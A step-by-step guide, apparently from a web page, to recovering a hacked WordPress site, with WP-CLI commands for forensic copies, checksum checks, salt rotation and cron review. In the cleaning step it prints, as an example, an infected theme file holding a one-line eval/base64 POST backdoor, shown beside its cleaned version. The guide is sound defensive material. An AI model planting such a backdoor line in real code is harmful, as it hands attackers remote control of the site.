Recovering a hacked WordPress site
An 8-step method: document, forensic copy, contain, clean from clean sources, rotate secrets, verify, and harden, with no hasty deletion or impossible promises.
Before you start
Have these ready before you work through the steps:
- Hosting access (panel or SSH/FTP)
- A backup if you have one, without relying on it alone
- A clean device for password changes
- Somewhere to log every step with timestamps
Document before touching anything
The natural first reaction is to delete things fast, and that does the most damage to a recovery. Before changing anything, screenshot the symptoms, save the strange URLs, note when you first noticed, and keep host or Google messages as they are.
- 01Document
- 02Forensic copy
- 03Contain
- 04Clean
- 05Rotate secrets
- 06Verify
- 07Harden
- 08Monitor
These details later show when the infection started and which plugin or account let it in, and you'll need them when requesting a Google review or talking to your host.
Record what visitors report too: does the redirect only hit mobile? Do the ads only show to people arriving from Google? Notes like these save hours of searching.
Take an isolated forensic copy
Take a full copy of the files and database exactly as they are now, infection included, and store it off the server. It isn't for restoring; it's for analysis and for getting back evidence or a file you deleted by mistake.
Don't open or run suspicious PHP files on your own computer, and keep the copy compressed and named by date.
wp db export incident-$(date +%F).sqlRun it from the site folder, then move the file off the server.
Contain the damage
The goal here is to stop the harm to visitors and your reputation, not to clean yet. Turn on maintenance mode if the site redirects visitors or spreads malware, and pause ad campaigns so you don't pay for stolen clicks.
If the site is sending spam email, stop outgoing mail from the host. If your host asks for a specific action, do it and document it.
Avoid deleting files or switching themes at this stage. Containment stops the bleeding without erasing evidence.
Clean only from clean sources
Don't try to "clean" a core WordPress file line by line. Replace core, plugins and themes with fresh copies from their official sources; it's faster and safer than hunting every injected line.
<?php
/* Theme functions */
add_action('init', 'theme_setup');
@eval(base64_decode($_POST['x']));
function theme_setup() { … }<?php
/* Theme functions */
add_action('init', 'theme_setup');
function theme_setup() { … }Compare files against their original checksums instead of guessing: any changed core file, or a file that doesn't belong to WordPress, deserves a look. Look especially for PHP files inside the uploads folder, which should never need them.
Delete unused plugins and themes rather than just deactivating them; deactivated code still sits on the server and can be exploited. And don't forget the database: accounts, options and posts can carry the infection too.
wp core verify-checksumsShows any core file that was modified or added.
wp plugin verify-checksums --allWorks for plugins published in the WordPress.org directory.
find wp-content/uploads -type f -name "*.php"Any result here deserves an immediate look.
Rotate every secret from a clean device
Once clean, change every login: hosting panel, WordPress admin accounts, database, FTP and SSH, and WordPress's secret keys (salts), which ends every open session.
Do it from a device you trust. If your own computer leaked the passwords, the new ones will be stolen too.
Review the admin list and delete any account you don't recognise, and check the email on important accounts; some attackers change it to get back in later.
wp config shuffle-saltsLogs every user out, attacker included.
wp user list --role=administrator --fields=ID,user_login,user_email,user_registeredLook for an account you didn't create or an odd registration date.
Verify before declaring clean
A site that "works" isn't necessarily clean. Test it as an ordinary visitor on mobile and desktop, from a Google result, and logged out, because many infections only show up in those conditions.
- Google visitor on mobileClean
- Direct visitor on desktopClean
- Logged outClean
- Search Console security issuesClean
- Odd scheduled tasksNeeds review
Re-scan with triage tools, check the Security Issues section in Search Console, and make sure no scheduled tasks or new files appeared after the cleanup.
Only request a Google review after full verification; an early request gets rejected and can delay lifting the warning.
wp cron event listLook for oddly named tasks that re-plant the infection.
Harden against recurrence
Most hacks come back through the same door: a neglected plugin with a known flaw, a reused password, or an old account nobody deleted. Close that specific door before anything else.
Then: turn on automatic security patches and two-factor login for admins, block PHP in uploads, and set up daily off-site backups that you've actually tried restoring.
Monitor quietly
Watch accounts, files and outgoing links for the two months after the incident; some infections leave a small backdoor that gets used weeks later.
Any change you can't explain, such as a new admin, a strange file or a sudden redirect, means calmly going back to step one, not panicking.
A few questions, answered
Hours to days, depending on the size of the site and how far the infection spread. Rushing verification is what most often brings a hack back.
A clean reinstall is a strong option on two conditions: a forensic copy first, and an inspected database before you carry it over, because injected code lives there too.
Not until you know when the infection started. Many backups were taken after the break-in, so they bring back the same infection and the same hole.
It helps with detection but doesn't see everything: obfuscated code, database infections and hidden accounts need a manual review.
When there are no backups, the infection returns after cleaning, or the data is sensitive, like a store or memberships. Bring the documentation you collected; it saves time and cost.
Further reading
- WordPress: FAQ: My site was hackedAdditional source, pending independent review.
- Google Search Console: hacked content & reviewAdditional source, pending independent review.